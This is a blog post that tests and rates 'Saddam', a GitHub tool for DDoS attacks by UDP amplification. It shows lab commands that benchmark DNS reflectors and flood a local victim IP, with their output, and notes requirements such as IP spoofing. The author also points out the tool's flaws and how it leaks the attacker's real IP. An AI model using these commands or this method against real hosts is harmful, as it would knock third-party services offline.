Testing GitHub DDoS Tools #2: Saddam
I’m continuing examining DDoS tools found on github, you can find the previous post here.
#2 Tool for the search term “DDoS” on github is Saddam with 575 stars and 292 forks! The screenshot looks pretty impressive, so let’s start examining it!
Saddam is a tool abusing UDP amplification (reflection) in DNS, NTP, SNMP and SSDP servers; its goal is to flood & fill the internet uplink of the target. To archive this, one would need a server from which it’s possible to spoof UDP traffic which means sending out IP packets with someone else’s IP address to the internet. As BCP-38 is done by more and more ISPs, this can be kind of hard already.
The second thing needed is a list of servers answering UDP queries, preferably without any rate limiting and a good reflection factor — some DNS servers just don’t answer DNS ANY queries, see CloudFlare’s blog post about why!
Saddam needs https://github.com/OffensivePython/Pinject, so put that python file into the Saddam directory. For the ease of testing, I’ll just use my local DNS server in this example.
DNS Amplificator: 192.168.0.224
Attacker: 192.168.0.1
Victim IP: 192.168.0.2
Get dercraig’s stories in your inbox
Join Medium for free to get updates from this writer.
First, let’s benchmark!
$ echo '192.168.0.224' > test.servers
$ python ./Saddam.py benchmark --dns="test.servers:ripe.net" _____ __ __
/ ___/____ _____/ /___/ /___ _____ ___
\__ \/ __ `/ __ / __ / __ `/ __ `__ \
___/ / /_/ / /_/ / /_/ / /_/ / / / / / /
/____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/
https://github.com/OffensivePython/Saddam
https://twitter.com/OffensivePythonProtocol| IP Address | Amplification | Domain
-------------------------------------------------------------------
dns | 192.168.0.224 | 62x (37B -> 2299B) |ripe.net
Total tested: 1
That looks like a good amplification factor. Now let’s try attacking our own IP:
$ sudo python ./Saddam.py 192.168.0.1 --dns="test.servers:ripe.net" _____ __ __
/ ___/____ _____/ /___/ /___ _____ ___
\__ \/ __ `/ __ / __ / __ `/ __ `__ \
___/ / /_/ / /_/ / /_/ / /_/ / / / / / /
/____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/
https://github.com/OffensivePython/Saddam
https://twitter.com/OffensivePythonSent | Traffic | Packet/s | Bit/s
---------------------------------------------------------------Error: float division by zero
Uh? Trying again, this happens (until pressing crtl-c):
$ sudo python ./Saddam.py 192.168.0.1 --dns="test.servers:ripe.net" _____ __ __
/ ___/____ _____/ /___/ /___ _____ ___
\__ \/ __ `/ __ / __ / __ `/ __ `__ \
___/ / /_/ / /_/ / /_/ / /_/ / / / / / /
/____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/
https://github.com/OffensivePython/Saddam
https://twitter.com/OffensivePythonSent | Traffic | Packet/s | Bit/s
---------------------------------------------------------------
3.39M | 1.31GB | 49.15Kpps | 162.39Mbps ^C
Interrupted
That looks better, but there seems to be some kind of race condition in the tool that randomly triggers. Running ifpps from netsniff-ng shows it actually is sending out that amount of traffic; wireshark shows more details and the huger server answers:
Now let’s flood our actual victim, 192.168.0.2!
$ sudo python ./Saddam.py 192.168.0.2 --dns="test.servers:ripe.net" _____ __ __
/ ___/____ _____/ /___/ /___ _____ ___
\__ \/ __ `/ __ / __ / __ `/ __ `__ \
___/ / /_/ / /_/ / /_/ / /_/ / / / / / /
/____/\__,_/\__,_/\__,_/\__,_/_/ /_/ /_/
https://github.com/OffensivePython/Saddam
https://twitter.com/OffensivePython Sent | Traffic | Packet/s | Bit/s
---------------------------------------------------------------
478.49K | 122.75MB | 53.12Kpps | 114.31Mbps ^C
Interrupted
The interesting thing here is Bit/s - how does the tool know how much traffic is sent to the victim without receiving it? It’s just a calculation based on the determined reflection factor done by the GetAmpSize() method. This is VERY interesting, as it leaks the original IP address of the attacker, have a look at this traffic capture:
If anyone is attacked by this tool, they can ask the abused DNS servers for logfiles — if they find DNS ANY requests in it just at the time of the start of the DDoS, congratulations — that’s our attacker’s original IP!
Rating 3.5 / 5:
While UDP Amplifcation can be very effective, it’s not straight-forward to use and requires a “spoofserver” and a list of servers that can be abused for the attack.
There are some very good ideas in this tool, programming skills are somewhat solid and good modularity is built in, so it would be easy to extend. However, choosing python makes the tool significantly less efficient than it could be; leaking the original IP of the attacking server is a also a major problem for any crook, but a fun thing for defenders (thank you!).
The tool is best suited for demonstration purposes and learning — not as an active attack tool.
If you want to test how your own site is prepared against DDoS, check out https://www.ddos-test.com !
Interested in more? Buy the best book on DDoS on the Market:
Via Amazon: https://www.amazon.de/DDoS-Understanding-Real-Life-Mitigation-Strategies/dp/3819226214/
Learn more about the book here: https://ddos-book.com/
